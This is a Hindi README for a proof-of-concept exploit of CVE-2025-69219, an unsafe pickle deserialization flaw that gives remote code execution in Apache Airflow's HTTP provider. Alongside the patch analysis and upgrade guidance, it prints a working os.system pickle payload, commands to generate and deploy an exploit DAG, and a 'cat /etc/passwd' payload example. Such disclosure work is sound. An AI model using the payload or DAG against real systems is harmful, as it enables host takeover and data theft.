
CVE-2025-69219 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो असुरक्षित pickle deserialization के माध्यम से Apache Airflow Providers HTTP में रिमोट कोड एक्जीक्यूशन का प्रदर्शन करता है। इसमें PoC स्क्रिप्ट्स, तकनीकी विश्लेषण और शमन मार्गदर्शन शामिल है।
गंभीरता: उच्च (CVSS 3.1: 8.8)
वेक्टर:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — गतिशील रूप से प्रबंधित कोड संसाधनों का अनुचित नियंत्रण
प्रभावित:apache-airflow-providers-http >= 5.1.0, < 6.0.0
में स्थिर:apache-airflow-providers-http == 6.0.0
पैच: apache/airflow#61662 · commit 97839f7
Apache Airflow का HTTP प्रदाता विलंबित कार्यों के लिए HTTP ट्रिगर प्रतिक्रियाओं को क्रमबद्ध और अक्रमबद्ध करने के लिए Python के pickle मॉड्यूल का उपयोग करता था। HttpOperator.execute_complete() में कमजोर सिंक इस प्रकार दिखता था:
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
event शब्दकोश Airflow डेटाबेस से पढ़ा जाता है, जिसका अर्थ है कि DB लेखन पहुंच वाला कोई भी प्रिंसिपल एक दुर्भावनापूर्ण pickle पेलोड लगा सकता है। जब ट्रिगरर वर्कर विलंबित कार्य को संसाधित करता है तो वह आँख बंद करके उस पेलोड को अक्रमबद्ध करता है, और ट्रिगरर प्रक्रिया की अनुमतियों के साथ मनमाने OS कमांड निष्पादित करता है — जो DAG Author के समतुल्य है।
अविश्वसनीय डेटा पर pickle.loads() एक स्वाभाविक रूप से असुरक्षित संक्रिया है। Pickle का __reduce__ प्रोटोकॉल किसी भी Python कॉल करने योग्य को क्रमबद्ध ब्लॉब में एम्बेड करने और बिना सैंडबॉक्सिंग के अक्रमबद्धीकरण के दौरान इसे लागू करने की अनुमति देता है।
Airflow ट्रिगरर पूर्णता के समय HTTP प्रतिक्रिया को क्रमबद्ध करता है और इसे DB में संग्रहीत करता है:
# triggers/http.py (pre-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
एक DB-स्तरीय हमलावर इस मान को एक निर्मित pickle ब्लॉब से बदल देता है, उदाहरण के लिए:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
ट्रिगरर तब execute_complete → pickle.loads() → RCE कहता है।
पैच pickle को एक सुरक्षित, स्पष्ट JSON सीरियलाइज़र से पूरी तरह बदल देता है:
# triggers/http.py (post-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON dict
})
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
नया डिसीरियलाइज़र केवल ज्ञात फ़ील्ड्स (status_code, headers, content, आदि) से एक requests.Response ऑब्जेक्ट का पुनर्निर्माण करता है — कोई मनमाना कोड निष्पादन संभव नहीं है।
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
प्रक्रिया में कमजोर pickle.loads() कॉल को पुन: प्रस्तुत करता है:
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"
उदाहरण आउटपुट:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"
# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc
कमांड आउटपुट के लिए टास्क लॉग देखें।
python poc.py --show-payload --cmd "cat /etc/passwd"
| कारक | विवरण |
|---|---|
| कौन शोषण कर सकता है | Airflow DB पर सीधी लेखन पहुंच वाला कोई भी उपयोगकर्ता |
| निष्पादन संदर्भ | ट्रिगरर वर्कर प्रक्रिया (DAG Author के समान अनुमतियाँ) |
| संभावना | कम — अच्छी तरह से कॉन्फ़िगर किए गए परिनियोजनों में सीधी DB पहुंच गैर-मानक है |
| प्रभाव का दायरा | ट्रिगरर नोड पर पूर्ण होस्ट RCE: डेटा निष्कासन, पार्श्व गति, स्थिरता |
apache-airflow-providers-http को 6.0.0 या बाद के संस्करण में करें।deferrable=True) पूर्ण या साफ़ हो गए हैं, क्योंकि pickle के साथ क्रमबद्ध इन-फ़्लाइट कार्य अपग्रेड के बाद TypeError उठाएंगे (प्रदाता चेंजलॉग में प्रलेखित ब्रेकिंग चेंज)।pip install "apache-airflow-providers-http>=6.0.0"
| दिनांक | घटना |
|---|---|
| 2026-03-09 | Apache Software Foundation द्वारा CVE प्रकाशित |
| 2026-03-09 | फिक्स मर्ज (PR #61662, कमिट 97839f7) |
| 2026-03-09 | oss-security मेलिंग लिस्ट पर खुलासा |
इस भंडार में PoC @ahmetartuc के मूल कार्य पर आधारित है।
यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रकाशित किया गया है। केवल उन प्रणालियों के विरुद्ध परीक्षण करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।